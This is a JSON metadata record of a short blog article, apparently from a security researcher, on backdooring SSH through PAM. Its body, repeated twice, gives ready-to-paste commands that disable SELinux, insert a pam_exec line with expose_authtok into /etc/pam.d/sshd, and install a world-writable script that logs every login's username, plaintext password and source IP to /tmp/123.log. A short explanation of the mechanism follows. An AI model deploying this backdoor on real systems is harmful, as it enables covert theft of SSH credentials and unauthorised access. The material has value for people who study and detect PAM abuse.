{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"container-security-hiding-a-backdoor-in-an-ssh-so-file-xm6n6","url":"https://zyvop.com/container-security-hiding-a-backdoor-in-an-ssh-so-file-xm6n6","title":"Container Security: Hiding a Backdoor in an SSH .so File","subtitle":null,"tldr":"1. The host temporarily shuts down selinux. setenforce 0 The following operations are performed in the container 2.touch /etc/pam.d/sshd awk 'BEGIN { print \"aut...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["The host temporarily shuts down selinux.","setenforce 0 The following operations are performed in the container 2.touch /etc/pam.d/sshd awk 'BEGIN { print \"auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh\" } { print }' /etc/pam.d/sshd > /tmp/sshd.tmp && sudo mv /tmp/sshd.tmp /etc/pam.d/sshd 3.","echo -e '#!/bin/sh\\n\\necho \"$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER\" >> /tmp/123.log' | sudo tee /tmp/sshd.sh > /dev/null 4.chmod 777 /tmp/sshd.sh 5.ssh -o StrictHostKeyChecking=no root@$HOSTNAME 6.cat /tmp/123.log total: sh -c ' touch /etc/pam.d/sshd && \\ echo \"auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh\" > /etc/pam.d/sshd && \\ echo -e \"#!/bin/sh\\n\\necho \\\"\\$(date) \\$PAM_USER \\$(cat -) \\$PAM_RHOST \\$PAM_RUSER\\\" >> /tmp/123.log\" > /tmp/sshd.sh && \\ chmod 777 /tmp/sshd.sh ' The effect is as follows: There will be relevant IP and ssh accounts and passwords in /tmp/123.log The principle is as follows: Execution process： When a user attempts to log in via SSH, PAM will follow/etc/pam.d/sshdThe configuration in calls each module in turn."],"headings":[],"outboundLinks":["https://www.group-ib.com/blog/pluggable-authentication-module/"],"contentText":"1. The host temporarily shuts down selinux. setenforce 0 The following operations are performed in the container 2.touch /etc/pam.d/sshd awk 'BEGIN { print \"auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh\" } { print }' /etc/pam.d/sshd > /tmp/sshd.tmp && sudo mv /tmp/sshd.tmp /etc/pam.d/sshd 3. echo -e '#!/bin/sh\\n\\necho \"$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER\" >> /tmp/123.log' | sudo tee /tmp/sshd.sh > /dev/null 4.chmod 777 /tmp/sshd.sh 5.ssh -o StrictHostKeyChecking=no root@$HOSTNAME 6.cat /tmp/123.log total: sh -c ' touch /etc/pam.d/sshd && \\ echo \"auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh\" > /etc/pam.d/sshd && \\ echo -e \"#!/bin/sh\\n\\necho \\\"\\$(date) \\$PAM_USER \\$(cat -) \\$PAM_RHOST \\$PAM_RUSER\\\" >> /tmp/123.log\" > /tmp/sshd.sh && \\ chmod 777 /tmp/sshd.sh ' The effect is as follows: There will be relevant IP and ssh accounts and passwords in /tmp/123.log The principle is as follows: Execution process： When a user attempts to log in via SSH, PAM will follow/etc/pam.d/sshdThe configuration in calls each module in turn. becausepam_exec.soThe module is configured on the first line, it will be called first and executed/tmp/sshd.shscript. pam_exec.soThe module will pass the password entered by the user through standard input to/tmp/sshd.shscript. sshd.shThe script reads the password from standard input and logs the relevant information to/tmp/123.login the file. What needs to be paid attention to is pam_exec.soHow does a module pass a user-entered password via standard input to/tmp/sshd.shscript. pam_exec.soModularexpose_authtokOption allows passing the user's authentication token (i.e. password) to an external script via standard input (stdin). Here are the detailed steps: In addition to passing the password via standard input,pam_exec.soThe module also sets some environment variables, which contain information about the current authentication session, such asPAM_USER、PAM_RHOST、PAM_RUSERwait. External scripts can obtain this information from environment variables. The principle is quite simple and there is no need to explore further. This time the foreigners are later than us:The duality of pluggable authentication modules |Group-IB Blog","contentHash":"sha256:3c2762b74d415cc135ec947ccfd747b11f0734d6a027ca9d023a3da5a6b03659","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Developers, software engineers, and students learning software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":2,"wordCount":354,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:30:58.893Z","updatedAt":"2026-08-18T19:35:00.463Z","canonicalUrl":"https://www.cdxiaodong.life/article/Multiple%20AI%20tool%20script"}